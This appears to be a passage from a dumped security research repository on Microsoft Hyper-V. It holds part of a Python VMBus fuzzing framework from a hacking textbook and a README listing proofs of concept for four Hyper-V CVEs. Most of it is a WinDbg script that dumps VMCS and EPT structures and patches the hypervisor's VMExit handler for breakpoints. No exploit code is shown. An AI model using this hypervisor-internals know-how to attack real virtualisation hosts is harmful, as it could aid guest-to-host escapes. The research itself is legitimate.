ceil(PacketHeader.sizeof() / 8) 566 | data_len8 = ceil(len(data) / 8) 567 | data = data.ljust(data_len8 << 3, b'\0') 568 | hdr = PacketHeader.build({ 569 | 'type': packet_type.value, 570 | 'offset8': offset8, 571 | 'len8': offset8 + data_len8, 572 | 'flags': flags, 573 | 'trans_id': trans_id 574 | }).ljust(offset8 << 3, b'\0') 575 | packet = hdr + data + bytes(VMBUS_PKT_TRAILER) 576 | ret, needs_signal = self.ringbuffer_write(upstream, packet) 577 | 578 | if ret == 0: 579 | self.ringbuffer[child_relid][2] = (trans_id + 1) & ((1 << 64) - 1) 580 | 581 | if needs_signal: 582 | connection_id = self.get_connection_id(child_relid) 583 | 584 | if self.HvCallSignalEvent(connection_id, 0) != 0: 585 | print('ringbuffer_send_packet: SignalEvent failed') 586 | 587 | return ret 588 | 589 | def ringbuffer_read(self, ring_buffer, data_len, update_index=True): 590 | # WARNING: we assume non-concurrent access, and qword aligned data 591 | rb_addr, rb_size = ring_buffer 592 | rb_data_addr = rb_addr + 0x1000 593 | data_addr = self.guest.memory.alloc(data_len) 594 | 595 | if update_index is True: 596 | update_index_code = f'mov dword [{rb_addr+4:#x}], edx' 597 | else: 598 | update_index_code = '' 599 | 600 | code = self.code( 601 | f""" 602 | {self.context_save()} 603 | mov edx, dword [{rb_addr:#x}] ; write_index 604 | mov ebx, dword [{rb_addr+4:#x}] ; read_index 605 | mov ecx, {rb_size} 606 | sub ecx, ebx 607 | add ecx, edx 608 | mov eax, edx 609 | sub eax, ebx 610 | cmp ebx, edx 611 | cmova eax, ecx ; wrap around 612 | mov ecx, {data_len} 613 | cmp eax, ecx 614 | jb fail ; remaining < data len 615 | mov rdx, rbx 616 | xor rbx, rbx 617 | mov rdi, {data_addr:#x} 618 | copy: 619 | cmp rdx, {rb_size} 620 | cmovae rdx, rbx ; wrap around 621 | mov rax, qword [{rb_data_addr}+rdx] 622 | mov qword [rdi], rax 623 | add rdx, 8 624 | add rdi, 8 625 | sub rcx, 8 626 | jnz copy 627 | {update_index_code} 628 | PUT_VA Array, array_h, {data_addr:#x} 629 | REPLY 630 | exit: 631 | {self.context_restore()} 632 | fail: 633 | REPLY_EMPTY 634 | jmp exit 635 | array_h: dd {data_len}, UInt8 636 | """) 637 | self.guest.execute(code) 638 | self.guest.memory.free(data_addr) 639 | _, result = self.next_message() 640 | 641 | if result == []: 642 | return None 643 | 644 | return bytes(result[0]) 645 | 646 | def ringbuffer_recv_packet(self, child_relid): 647 | hdr_len = PacketHeader.sizeof() 648 | _, downstream, _ = self.ringbuffer[child_relid] 649 | data = self.ringbuffer_read(downstream, hdr_len, update_index=False) 650 | 651 | if data is None: 652 | return None 653 | 654 | packet_len = (PacketHeader.parse(data).len8 << 3) + VMBUS_PKT_TRAILER 655 | return self.ringbuffer_read(downstream, packet_len) 656 | 657 | def on_boot(self, body): 658 | super().on_boot(body) 659 | pages = PageAlloc(self.guest.memory, 0x3000).page_list() 660 | ( 661 | self.synic_simp, 662 | self.monitor_page1, 663 | self.monitor_page2 664 | ) = pages 665 | self.synic_init() 666 | self.vmbus_init() 667 | 668 | if self.list_offers: 669 | exit(0) 670 | 671 | if __name__ == "__main__": 672 | Session.list_offers = True 673 | Session().run() 674 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Hyper-V stuff 2 | 3 | This repository contains some of the Hyper-V related work I did in the past... 4 | 5 | 6 | ## GHHv6_ch25 7 | 8 | My code from the "Inside Hyper-V" of the *Gray Hat Hacking* book (6th edition). 9 | 10 | Original repository: https://github.com/GrayHatHacking/GHHv6.git 11 | 12 | Includes a framework that can be used to perform hypervisor research/fuzzing and hyper-v specific code (hypercalls, MSRs, VMBus communication). 13 | 14 | 15 | ## windbg_hyperv_script.js 16 | 17 | Windbg script that can be used when debugging `hvix64` and provides the following features: 18 | - Dumping VMCS contents. 19 | - Dumping EPT tables. 20 | - GPA -> SPA translation. 21 | - **Conditional breakpoints on VMExit conditions**: 22 | - Use `!brexit conditions`. 23 | - Where `conditions` is a in the form `condition1 condition2 .. conditionN`. 24 | - Each condition consists of 3 parts (in the described order and without space between them): 25 | 1. A VMCS field name (for example `VM_EXIT_REASON`) 26 | 2. A *condition code*: any of `==`, `!=`, `<=`, `>=`, `<`, `>`. 27 | 3. An integer value. 28 | 29 | 30 | ## CVE-2020-0751.c 31 | 32 | Proof of concept for Hyper-V stack overflow bug (hvix64). 33 | 34 | Advisory: https://labs.bluefrostsecurity.de/advisories/bfs-sa-2020-001/ 35 | 36 | 37 | ## CVE-2020-0890.c 38 | 39 | Proof of concept for Hyper-V NULL deref bug (hvix64). 40 | 41 | Advisory: https://labs.bluefrostsecurity.de/advisories/bfs-sa-2020-002/ 42 | 43 | 44 | ## CVE-2020-0904.c 45 | 46 | Proof of concept for Hyper-V type confusion bug (hvix64). 47 | 48 | Advisory: https://labs.bluefrostsecurity.de/advisories/bfs-sa-2020-003/ 49 | 50 | 51 | ## CVE-2021-28476 52 | 53 | Proof of concept for Hyper-V arbitrary memory read bug (vmswitch). 54 | 55 | Advisory: https://labs.bluefrostsecurity.de/advisories/bfs-sa-2021-001/ 56 | 57 | Original repository: https://github.com/bluefrostsecurity/CVE-2021-28476 58 | 59 | Notes: 60 | - This bug was classified as RCE, [learn why here](https://www.youtube.com/watch?v=uqWiZXMh8TI). 61 | - This bug has also been presented by other researchers: https://www.youtube.com/watch?v=ALcm6pmR8ck 62 | - In the advisory I included other OOB read bugs I found but no CVEs were assigned to them. 63 | 64 | 65 | 66 | -------------------------------------------------------------------------------- /windbg_hyperv_script.js: -------------------------------------------------------------------------------- 1 | // complaints to: daniel.kuehr@tacitosecurity.com 2 | 3 | "use strict"; 4 | 5 | const log = x => host.diagnostics.debugLog(`${x}\n`); 6 | const exec = x => host.namespace.Debugger.Utility.Control.ExecuteCommand(x); 7 | const i64 = x => host.Int64(x); 8 | const max_code_size = 512; 9 | const context = { 10 | code_buffer: null, 11 | host_rip: null, 12 | breakpoint: null 13 | }; 14 | 15 | function hex(num, padding = 16) { 16 | return num.toString(16).padStart(padding, "0"); 17 | } 18 | 19 | function bits(value, offset, size) { 20 | let mask = i64(1).bitwiseShiftLeft(size).subtract(1); 21 | return value.bitwiseShiftRight(offset).bitwiseAnd(mask); 22 | } 23 | 24 | function* readPhys64(address, blocks) { 25 | for (let line of exec(`!dq ${hex(address)} L${hex(blocks, 0)}`)) { 26 | line = line.substring(1).replace(/\s+/g, ' ').trim() 27 | let tok = line.split(" "); 28 | //log(line); 29 | yield host.parseInt64(tok[1], 16); 30 | 31 | if (tok.length > 2) { 32 | yield host.parseInt64(tok[2], 16); 33 | } 34 | } 35 | } 36 | 37 | function writeBytes(address, bytes) { 38 | let bytes_str = bytes.map(b => `0x${hex(b, 2)}`).join(" "); 39 | let cmd = `eb ${hex(address)} ${bytes_str}`; 40 | //log(cmd); 41 | exec(cmd); 42 | } 43 | 44 | function getEntryPoint() { 45 | let hvix = host.currentProcess.Modules.First(m => m.Name == "hvix64.exe"); 46 | let hdr = hvix.Contents.Headers.OptionalHeader; 47 | let entry_point = hdr.ImageBase.add(hdr.AddressOfEntryPoint); 48 | 49 | log(`[i] ${hvix.Name} entry point: ${entry_point}`); 50 | return entry_point; 51 | } 52 | 53 | function removeBreakpoint() { 54 | let ctx = getContext(); 55 | let bp = getBreakpoint(); 56 | let context_area_bp = ctx.code_buffer.subtract(8); 57 | 58 | if (bp != null) { 59 | bp.Remove(); 60 | } 61 | 62 | ctx.breakpoint = null; 63 | // update information at context area in target 64 | writeBytes(context_area_bp, [0, 0, 0, 0, 0, 0, 0, 0]); 65 | } 66 | 67 | function setBreakPoint(address) { 68 | let ctx = getContext(); 69 | let context_area_bp = ctx.code_buffer.subtract(8); 70 | 71 | ctx.breakpoint = host.namespace.Debugger.Utility.Control.SetBreakpointAtOffset(hex(address), 0); 72 | // update information at context area in target 73 | writeBytes(context_area_bp, dq2b(address)); 74 | return ctx.breakpoint; 75 | } 76 | 77 | function range(start, end, step) { 78 | let arr = []; 79 | let addr = start; 80 | let mask = i64(0xfff).bitwis 81 | 82 | while (addr.compareTo(end) < 1) { 83 | let next_addr = addr.add(step).divide(step).multiply(step); 84 | let size = next_addr.subtract(addr); 85 | 86 | arr.push([addr, size]); 87 | addr = next_addr; 88 | } 89 | 90 | return arr; 91 | } 92 | 93 | function findPattern(startAddress, endAddress) { 94 | for (let block of range(startAddress, endAddress, 0x1000)) { 95 | let [addr, size] = block; 96 | let memory = host.memory.readMemoryValues(addr, size); 97 | 98 | for (let i = 0; i+7 < size; i++) { 99 | if (memory[i] === 0x7 100 | && memory[i+1] === 0xA 101 | && memory[i+2] === 0xC 102 | && memory[i+3] === 0x1 103 | && memory[i+4] === 0x7 104 | && memory[i+5] === 0x0 105 | && memory[i+6] === 0x5 106 | && memory[i+7] === 0xE) { 107 | return addr.add(i); 108 | } 109 | } 110 | } 111 | 112 | log("[-] Can't find context in memory"); 113 | return undefined; 114 | } 115 | 116 | function resetContext() { 117 | log("[i] Context lost, searching it in target..."); 118 | 119 | let entry_point = getEntryPoint(); 120 | let context_area = findPattern(entry_point, entry_point.add(0x0402000)); 121 | let [host_rip, bp_address] = host.memory.readMemoryValues(context_area.add(8), 16, 8); 122 | 123 | context.code_buffer = context_area.add(8*3); 124 | context.host_rip = host_rip; 125 | 126 | if (bp_address.compareTo(i64(0)) != 0) { 127 | for (let bp of host.currentProcess.Debug.Breakpoints) { 128 | if (bp.Address == bp_address) { 129 | context.breakpoint = bp; 130 | return; 131 | } 132 | } 133 | 134 | log(`[-] No breakpoint found for stored address ${bp_address}`); 135 | } else { 136 | context.breakpoint = null; 137 | } 138 | } 139 | 140 | function getContext() { 141 | if (context.code_buffer == null) { 142 | resetContext(); 143 | }; 144 | 145 | return context; 146 | } 147 | 148 | function getPatchArea() { 149 | return getContext().code_buffer; 150 | } 151 | 152 | function getBreakpoint() { 153 | return getContext().breakpoint; 154 | } 155 | 156 | function getHostRip() { 157 | let context = getContext(); 158 | 159 | if (context.host_rip == null) { 160 | log("[i] HOST_RIP not found in context, fetching it from VMCS..."); 161 | context.host_rip = ReadVmcs("HOST_RIP"); 162 | } 163 | 164 | return context.host_rip; 165 | } 166 | 167 | function findHole(code_base, min_size) { 168 | let last_addr = null; 169 | let curr_size = 0; 170 | let paddings = host.namespace.Debugger.Utility.Code.CreateDisassembler() 171 | .DisassembleBlocks(code_base) 172 | .Select(bb => bb.Instructions.Where(i => i.CodeBytes[0] == 0xcc).Select(i => i.Address)) 173 | .SelectMany(x => x); 174 | 175 | for (let addr of paddings) { 176 | //log(`found ${addr}`); 177 | if (last_addr == null) { 178 | last_addr = addr; 179 | } 180 | else { 181 | if (curr_size >= min_size) { 182 | return last_addr; 183 | } 184 | 185 | curr_size = (addr.subtract(last_addr) != i64(1)) ? 0 : curr_size + 1; 186 | last_addr = addr; 187 | } 188 | } 189 | 190 | return null; 191 | } 192 | 193 | function initializeScript() { 194 | return [ 195 | new host.apiVersionSupport(1, 7), 196 | new host.functionAlias(ReadVmcs, "vmcs"), 197 | new host.functionAlias(DumpEPT, "ept"), 198 | new host.functionAlias(ResolveGPA, "spa"), 199 | new host.functionAlias(BreakOnVmexit, "brexit") 200 | ]; 201 | } 202 | 203 | function invokeScript() { 204 | exec(".load kext"); 205 | log(`[i] Searching for holes...`); 206 | let context_area = findHole(getEntryPoint(), max_code_size); 207 | log(`[+] Hole found at ${context_area}`); 208 | context.code_buffer = context_area.add(8*3); 209 | 210 | let host_rip = getHostRip(); 211 | log(`[+] VMEXIT handler at ${host_rip}`); 212 | 213 | let context_data = [0x7, 0xA, 0xC, 0x1, 0x7, 0x0, 0x5, 0xE] // pattern 214 | .concat(dq2b(host_rip)) 215 | .concat(dq2b(i64(0))) // bp address; 216 | 217 | writeBytes(context_area, context_data); 218 | } 219 | 220 | // TODO: PWL5 support 221 | // !ept 222 | function DumpEPT(start_gpa, end_gpa) { 223 | if (end_gpa == null) { 224 | end_gpa = start_gpa.add(1); 225 | } 226 | 227 | new EPT_PML4(ReadVmcs("EPT_POINTER"), start_gpa, end_gpa).dump(); 228 | } 229 | 230 | // !spa 231 | function ResolveGPA(gpa) { 232 | return new EPT_PML4(ReadVmcs("EPT_POINTER"), gpa, gpa.add(1)).spa(gpa); 233 | } 234 | 235 | class EPT_PML4 { 236 | constructor(eptp, start_gpa, end_gpa) { 237 | this.start_index = bits(start_gpa, 39, 9); 238 | let end_index = bits(end_gpa, 39, 9); 239 | 240 | if (bits(end_gpa, 0, 39).asNumber() != 0) { 241 | end_index = end_index.add(1); 242 | } 243 | 244 | let num_entries = end_index.subtract(this.start_index); 245 | let base = eptp.bitwiseAnd(~0xfff).add(this.start_index.bitwiseShiftLeft(3)); 246 | this.entries = Array.from(readPhys64(base, num_entries)).map( 247 | (x, i) => new EPT_PML4E(x, i64(i).bitwiseShiftLeft(39).add(start_gpa), end_gpa) 248 | ); 249 | } 250 | 251 | spa(gpa) { 252 | let index = gpa.bitwiseShiftRight(39); 253 | 254 | if (index > this.start_index) { 255 | return null; 256 | } 257 | 258 | let entry = this.entries[index.subtract(this.start_index).asNumber()]; 259 | 260 | if (!entry.present()) { 261 | return null; 262 | } 263 | 264 | if (entry.hasOwnProperty('table')) { 265 | return entry.table.spa(gpa); 266 | } 267 | else { 268 | return null; 269 | } 270 | } 271 | 272 | dump() { 273 | for (let [index, entry] of this.entries.entries()) { 274 | let va = this.start_index.add(index).bitwiseShiftLeft(39); 275 | 276 | log(`PML4E[${hex(this.start_index.add(index), 2)}]: GPA ${hex(va)} => SPA ${entry.toString()}`); 277 | 278 | if (entry.hasOwnProperty('table')) { 279 | entry.table.dump(); 280 | } 281 | } 282 | } 283 | } 284 | 285 | class EPT_PML4E { 286 | constructor(entry, start_gpa, end_gpa) { 287 | this.Read = bits(entry, 0, 1); 288 | this.Write = bits(entry, 1, 1); 289 | this.Execute = bits(entry, 2, 1); 290 | this.Rsv1 = bits(entry, 3, 5); 291 | this.Accessed = bits(entry, 8, 1); 292 | this.Ign1 = bits(entry, 9, 1); 293 | this.ExecuteForUserMode = bits(entry, 10, 1); 294 | this.Ign2 = bits(entry, 11, 1); 295 | this.PFN = bits(entry, 12, 40); // TODO: N-bits support 296 | this.Ign3 = bits(entry, 52, 12); 297 | 298 | if (this.present()) { 299 | this.table = new EPT_PDPT(this.PFN.bitwiseShiftLeft(12), start_gpa, end_gpa); 300 | } 301 | } 302 | 303 | present() { 304 | return (this.Read.bitwiseOr(this.Write.bitwiseOr(this.Execute)) != 0); 305 | } 306 | 307 | toString() { 308 | return hex(this.PFN.bitwiseShiftLeft(12)) + ' ' 309 | + { 1: 'U', 0: '-' }[this.ExecuteForUserMode.asNumber()] 310 | + { 1: 'A', 0: '-' }[this.Accessed.asNumber()] 311 | + { 1: 'X', 0: '-' }[this.Execute.asNumber()] 312 | + { 1: 'W', 0: '-' }[this.Write.asNumber()] 313 | + { 1: 'R', 0: '-' }[this.Read.asNumber()]; 314 | } 315 | } 316 | 317 | class EPT_PDPT { 318 | constructor(pdpt, start_gpa, end_gpa) { 319 | this.start_index = bits(start_gpa, 30, 9); 320 | let end_index = bits(end_gpa, 30, 9); 321 | 322 | if (bits(end_gpa, 0, 30).asNumber() != 0) { 323 | end_index = end_index.add(1); 324 | } 325 | 326 | let num_entries = end_index.subtract(this.start_index); 327 | let base = pdpt.add(this.start_index.bitwiseShiftLeft(3)); 328 | this.entries = Array.from(readPhys64(base, num_entries)).map( 329 | (x, i) => new EPT_PDPTE(x, i64(i).bitwiseShiftLeft(30).add(start_gpa), end_gpa) 330 | ); 331 | } 332 | 333 | spa(gpa) { 334 | let index = bits(gpa, 30, 9); 335 | 336 | if (index > this.start_index) { 337 | return null; 338 | } 339 | 340 | let entry = this.entries[index.subtract(this.start_index).asNumber()]; 341 | 342 | if (!entry.present()) { 343 | return null; 344 | } 345 | 346 | if (entry.hasOwnProperty('table')) { 347 | return entry.table.spa(gpa); 348 | } 349 | else { 350 | return entry.PFN.bitwiseShiftLeft(12).add(bits(gpa, 0, 30)); 351 | } 352 | } 353 | 354 | dump() { 355 | for (let [index, entry] of this.entries.entries()) { 356 | let va = this.start_index.add(index).bitwiseShiftLeft(30); 357 | 358 | log(`PDPTE[${hex(this.start_index.add(index), 2)}]: GPA ${hex(va)} => SPA ${entry.toString()}`); 359 | 360 | if (entry.hasOwnProperty('table')) { 361 | entry.table.dump(); 362 | } 363 | } 364 | } 365 | } 366 | 367 | class EPT_PDPTE { 368 | constructor(entry, start_gpa, end_gpa) { 369 | this.Read = bits(entry, 0, 1); 370 | this.Write = bits(entry, 1, 1); 371 | this.Execute = bits(entry, 2, 1); 372 | this.Rsv1 = bits(entry, 3, 4); 373 | this.Large = bits(entry, 7, 1); 374 | this.Accessed = bits(entry, 8, 1); 375 | this.Ign1 = bits(entry, 9, 1); 376 | this.ExecuteForUserMode = bits(entry, 10, 1); 377 | this.Ign2 = bits(entry, 11, 1); 378 | this.PFN = bits(entry, 12, 40); // TODO: N-bits support 379 | 380 | if (this.Large.asNumber() == 0 && this.present()) { 381 | this.Ign3 = bits(entry, 52, 12); 382 | this.table = new EPT_PD(this.PFN.bitwiseShiftLeft(12), start_gpa, end_gpa); 383 | } 384 | else { 385 | this.Ign3 = bits(entry, 52, 11); 386 | this.SVE = bits(entry, 63, 1); 387 | } 388 | } 389 | 390 | present() { 391 | return (this.Read.bitwiseOr(this.Write.bitwiseOr(this.Execute)) != 0); 392 | } 393 | 394 | toString() { 395 | return hex(this.PFN.bitwiseShiftLeft(12)) + ' ' 396 | + { 1: 'U', 0: '-' }[this.ExecuteForUserMode.asNumber()] 397 | + { 1: 'A', 0: '-' }[this.Accessed.asNumber()] 398 | + { 1: 'L', 0: '-' }[this.Large.asNumber()] 399 | + { 1: 'X', 0: '-' }[this.Execute.asNumber()] 400 | + { 1: 'W', 0: '-' }[this.Write.asNumber()] 401 | + { 1: 'R', 0: '-' }[this.Read.asNumber()]; 402 | } 403 | } 404 | 405 | class EPT_PD { 406 | constructor(pd, start_gpa, end_gpa) { 407 | this.start_index = bits(start_gpa, 21, 9); 408 | let end_index = bits(end_gpa, 21, 9); 409 | 410 | if (bits(end_gpa, 0, 21).asNumber() != 0) { 411 | end_index = end_index.add(1); 412 | } 413 | 414 | let num_entries = end_index.subtract(this.start_index); 415 | let base = pd.add(this.start_index.bitwiseShiftLeft(3)); 416 | this.entries = Array.from(readPhys64(base, num_entries)).map( 417 | (x, i) => new EPT_PDE(x, i64(i).bitwiseShiftLeft(21).add(start_gpa), end_gpa) 418 | ); 419 | } 420 | 421 | spa(gpa) { 422 | let index = bits(gpa, 21, 9); 423 | 424 | if (index > this.start_index) { 425 | return null; 426 | } 427 | 428 | let entry = this.entries[index.subtract(this.start_index).asNumber()]; 429 | 430 | if (!entry.present()) { 431 | return null; 432 | } 433 | 434 | if (entry.hasOwnProperty('table')) { 435 | return entry.table.spa(gpa); 436 | } 437 | else { 438 | return entry.PFN.bitwiseShiftLeft(12).add(bits(gpa, 0, 21)); 439 | } 440 | } 441 | 442 | dump() { 443 | for (let [index, entry] of this.entries.entries()) { 444 | let va = this.start_index.add(index).bitwiseShiftLeft(21); 445 | 446 | log(` PDE[${hex(this.start_index.add(index), 2)}]: GPA ${hex(va)} => SPA ${entry.toString()}`); 447 | 448 | if (entry.hasOwnProperty('table')) { 449 | entry.table.dump(); 450 | } 451 | } 452 | } 453 | } 454 | 455 | class EPT_PDE { 456 | constructor(entry, start_gpa, end_gpa) { 457 | this.Read = bits(entry, 0, 1); 458 | this.Write = bits(entry, 1, 1); 459 | this.Execute = bits(entry, 2, 1); 460 | this.Rsv1 = bits(entry, 3, 4); 461 | this.Large = bits(entry, 7, 1); 462 | this.Accessed = bits(entry, 8, 1); 463 | this.Ign1 = bits(entry, 9, 1); 464 | this.ExecuteForUserMode = bits(entry, 10, 1); 465 | this.Ign2 = bits(entry, 11, 1); 466 | this.PFN = bits(entry, 12, 40); // TODO: N-bits support 467 | 468 | if (this.Large.asNumber() == 0 && this.present()) { 469 | this.Ign3 = bits(entry, 52, 12); 470 | this.table = new EPT_PT(this.PFN.bitwiseShiftLeft(12), start_gpa, end_gpa); 471 | } 472 | else { 473 | this.Ign3 = bits(entry, 52, 11); 474 | this.SVE = bits(entry, 63, 1); 475 | } 476 | } 477 | 478 | present() { 479 | return (this.Read.bitwiseOr(this.Write.bitwiseOr(this.Execute)) != 0); 480 | } 481 | 482 | toString() { 483 | return hex(this.PFN.bitwiseShiftLeft(12)) + ' ' 484 | + { 1: 'U', 0: '-' }[this.ExecuteForUserMode.asNumber()] 485 | + { 1: 'A', 0: '-' }[this.Accessed.asNumber()] 486 | + { 1: 'L', 0: '-' }[this.Large.asNumber()] 487 | + { 1: 'X', 0: '-' }[this.Execute.asNumber()] 488 | + { 1: 'W', 0: '-' }[this.Write.asNumber()] 489 | + { 1: 'R', 0: '-' }[this.Read.asNumber()]; 490 | } 491 | } 492 | 493 | class EPT_PT { 494 | constructor(pt, start_gpa, end_gpa) { 495 | this.start_index = bits(start_gpa, 12, 9); 496 | let end_index = bits(end_gpa, 12, 9); 497 | 498 | if (bits(end_gpa, 0, 12).asNumber() != 0) { 499 | end_index = end_index.add(1); 500 | } 501 | 502 | let num_entries = end_index.subtract(this.start_index); 503 | let base = pt.add(this.start_index.bitwiseShiftLeft(3)); 504 | this.entries = Array.from(readPhys64(base, num_entries)).map( 505 | (x, i) => new EPT_PTE(x) 506 | ); 507 | } 508 | 509 | spa(gpa) { 510 | let index = bits(gpa, 12, 9); 511 | 512 | if (index > this.start_index) { 513 | return null; 514 | } 515 | 516 | let entry = this.entries[index.subtract(this.start_index).asNumber()]; 517 | 518 | if (!entry.present()) { 519 | return null; 520 | } 521 | 522 | return entry.PFN.bitwiseShiftLeft(12).add(bits(gpa, 0, 12)); 523 | } 524 | 525 | dump() { 526 | for (let [index, entry] of this.entries.entries()) { 527 | let va = this.start_index.add(index).bitwiseShiftLeft(12); 528 | 529 | log(` PTE[${hex(this.start_index.add(index), 2)}]: GPA ${hex(va)} => SPA ${entry.toString()}`); 530 | } 531 | } 532 | } 533 | 534 | class EPT_PTE { 535 | constructor(entry) { 536 | this.Read = bits(entry, 0, 1); 537 | this.Write = bits(entry, 1, 1); 538 | this.Execute = bits(entry, 2, 1); 539 | this.EPTMT = bits(entry, 3, 3); 540 | this.IPAT = bits(entry, 6, 1); 541 | this.Ign1 = bits(entry, 7, 1); 542 | this.Accessed = bits(entry, 8, 1); 543 | this.Dirty = bits(entry, 9, 1); 544 | this.ExecuteForUserMode = bits(entry, 10, 1); 545 | this.Ign2 = bits(entry, 11, 1); 546 | this.PFN = bits(entry, 12, 40); // TODO: N-bits support 547 | this.Ign3 = bits(entry, 52, 11); 548 | this.SVE = bits(entry, 63, 1); 549 | } 550 | 551 | present() { 552 | return (this.Read.bitwiseOr(this.Write.bitwiseOr(this.Execute)) != 0); 553 | } 554 | 555 | toString() { 556 | return hex(this.PFN.bitwiseShiftLeft(12)) + ' ' 557 | + { 1: 'U', 0: '-' }[this.ExecuteForUserMode.asNumber()] 558 | + { 1: 'D', 0: '-' }[this.Accessed.asNumber()] 559 | + { 1: 'A', 0: '-' }[this.Accessed.asNumber()] 560 | + { 1: 'X', 0: '-' }[this.Execute.asNumber()] 561 | + { 1: 'W', 0: '-' }[this.Write.asNumber()] 562 | + { 1: 'R', 0: '-' }[this.Read.asNumber()]; 563 | } 564 | } 565 | 566 | 567 | function stepUntil(ip) { 568 | let current_rip = host.currentThread.Registers.User.rip; 569 | 570 | while (current_rip != ip) { 571 | for (let l of exec("p")) { 572 | //log(`stepUntil: ${current_rip} ${l}`); 573 | } 574 | 575 | current_rip = host.currentThread.Registers.User.rip; 576 | } 577 | } 578 | 579 | // !vmcs 580 | function ReadVmcs(field) { 581 | let patch_area = getPatchArea(); 582 | let breakpoint = getBreakpoint(); 583 | let rax = host.currentThread.Registers.User.rax; 584 | let rip = host.currentThread.Registers.User.rip; 585 | 586 | if (typeof field === 'string') { 587 | field = vmcs_fields[field]; 588 | } 589 | 590 | // we can't be over a bp so step 591 | while (host.currentProcess.Debug.Breakpoints.Any(b => b.Address == rip) == true) { 592 | for (let l of exec("p")) { 593 | log(`over bp: ${l}`); 594 | } 595 | rip = host.currentThread.Registers.User.rip; 596 | } 597 | 598 | if (breakpoint == null) { 599 | writeBytes(patch_area, [0x0F, 0x78, 0xC0]); 600 | exec(`r rip=${patch_area}, rax=${field}`); 601 | stepUntil(patch_area.add(3)); 602 | } 603 | else { 604 | // re-use vmread injected by !brexit 605 | exec(`r rip=${breakpoint.Address.add(6)}, rax=${field}`); 606 | // go on until after vmread 607 | stepUntil(breakpoint.Address.add(10)); 608 | } 609 | 610 | let ret = host.currentThread.Registers.User.rax; 611 | exec(`r rip=${rip}, rax=${rax}`); 612 | return ret; 613 | } 614 | 615 | const dw2b = x => [x & 0xff, (x >> 8) & 0xff, (x >> 16) & 0xff, (x >> 24) & 0xff]; 616 | const dq2b = x => dw2b(x.getLowPart()).concat(dw2b(x.getHighPart())); 617 | 618 | 619 | function cond_opcodes(cond, index, total) { 620 | let cc = { 621 | "==": 0x85, 622 | "!=": 0x84, 623 | "<=": 0x87, 624 | ">=": 0x82, 625 | "<": 0x83, 626 | ">": 0x86 627 | }; 628 | let block_delta = ((total - index - 1) * 26); 629 | let data_target = block_delta + (index * 8) + 61; 630 | let jmp_target = block_delta + 21; 631 | return [0x48, 0xB8].concat(dq2b(cond.field)) // mov rax, field 632 | .concat([0x0F, 0x78, 0xC0, // vmread rax, rax 633 | 0x48, 0x3B, 0x05]).concat(dw2b(data_target)) // cmp rax, [rel value] 634 | .concat([0x0F, cc[cond.cond]]).concat(dw2b(jmp_target)); // jcc exit 635 | } 636 | 637 | function patch_code(conditions) { 638 | let patch_area = getPatchArea(); 639 | let host_rip = getHostRip(); 640 | let delta = patch_area.getLowPart() - (host_rip.getLowPart() + 5); 641 | 642 | if (patch_area.getHighPart() != host_rip.getHighPart() 643 | || delta > 0x80000000 644 | || delta < -0x7fffffff) { 645 | log("[-] Buffer too far away for jmp"); 646 | return; 647 | } 648 | 649 | let total = conditions.length; 650 | let payload = [0x48, 0x89, 0x44, 0x24, 0x28]; // mov [rsp+0x28], rax 651 | 652 | for (let [index, cond] of conditions.entries()) { 653 | payload = payload.concat(cond_opcodes(cond, index, total)); 654 | } 655 | 656 | let bp_addr = patch_area.add(payload.length + 10); 657 | 658 | payload = payload.concat([ 659 | 0x48, 0x8b, 0x44, 0x24, 0x28, // mov rax, [rsp+0x28] 660 | 0x0F, 0xC7, 0x7C, 0x24, 0x28, // vmptrst [rsp+0x28] 661 | 0x90, // nop (bp) 662 | 0x48, 0x89, 0x44, 0x24, 0x28, // mov [rsp+0x28], rax 663 | 0x0F, 0x78, 0xC0, // vmread rax, rax 664 | 0x90, 0x90, 0x90, 665 | 0x48, 0x8b, 0x44, 0x24, 0x28, // mov rax, [rsp+0x28] 666 | // mov dword [rsp+0x28], low 667 | 0xC7, 0x44, 0x24, 0x28]).concat(dw2b(host_rip.getLowPart() + 5)) 668 | // mov dword [rsp+0x2c], high 669 | .concat([0xC7, 0x44, 0x24, 0x2C]).concat(dw2b(host_rip.getHighPart())) 670 | // original handler instruction: mov dword [rsp+0x30], 0 671 | .concat([0xC7, 0x44, 0x24, 0x30, 0x00, 0x00, 0x00, 0x00]) 672 | .concat([0xFF, 0x64, 0x24, 0x28]); // jmp [rsp+0x28] 673 | 674 | for (let cond of conditions) { 675 | payload = payload.concat(dq2b(cond.value)); 676 | } 677 | 678 | if (payload.length > max_code_size) { 679 | log(`[-] Payload size ${payload.length} larger than ${max_code_size}`); 680 | return; 681 | } 682 | 683 | //log(payload); 684 | removeBreakpoint(); 685 | writeBytes(patch_area, payload); 686 | setBreakPoint(bp_addr) 687 | .Command = '.printf "===[ VMEXIT BREAK ]=== VMCS@%p === ", poi(rsp+0x28)'; 688 | 689 | let jmp = [0xe9].concat(dw2b(delta & 0xffffffff)).concat([0x90, 0x90, 0x90]); 690 | writeBytes(host_rip, jmp); 691 | } 692 | 693 | function BreakOnVmexit(stop_conditions) { 694 | let conditions = stop_conditions 695 | .replace(/\s+/g, ' ') 696 | .trim() 697 | .split(" ") 698 | .map( 699 | cond => { 700 | for (let cc of ["==", "!=", "<=", ">=", "<", ">"]) { 701 | if (cond.includes(cc)) { 702 | let tok = cond.split(cc); 703 | return { 704 | cond: cc, 705 | field: vmcs_fields[tok[0]], 706 | field_name: tok[0], 707 | value: host.parseInt64(tok[1], 16), 708 | } 709 | } 710 | } 711 | } 712 | ); 713 | 714 | patch_code(conditions); 715 | } 716 | 717 | // taken from Linux kernel sources 718 | let vmcs_fields = { 719 | VIRTUAL_PROCESSOR_ID: i64(0x00000000), 720 | POSTED_INTR_NV: i64(0x00000002), 721 | GUEST_ES_SELECTOR: i64(0x00000800), 722 | GUEST_CS_SELECTOR: i64(0x00000802), 723 | GUEST_SS_SELECTOR: i64(0x00000804), 724 | GUEST_DS_SELECTOR: i64(0x00000806), 725 | GUEST_FS_SELECTOR: i64(0x00000808), 726 | GUEST_GS_SELECTOR: i64(0x0000080a), 727 | GUEST_LDTR_SELECTOR: i64(0x0000080c), 728 | GUEST_TR_SELECTOR: i64(0x0000080e), 729 | GUEST_INTR_STATUS: i64(0x00000810), 730 | GUEST_PML_INDEX: i64(0x00000812), 731 | HOST_ES_SELECTOR: i64(0x00000c00), 732 | HOST_CS_SELECTOR: i64(0x00000c02), 733 | HOST_SS_SELECTOR: i64(0x00000c04), 734 | HOST_DS_SELECTOR: i64(0x00000c06), 735 | HOST_FS_SELECTOR: i64(0x00000c08), 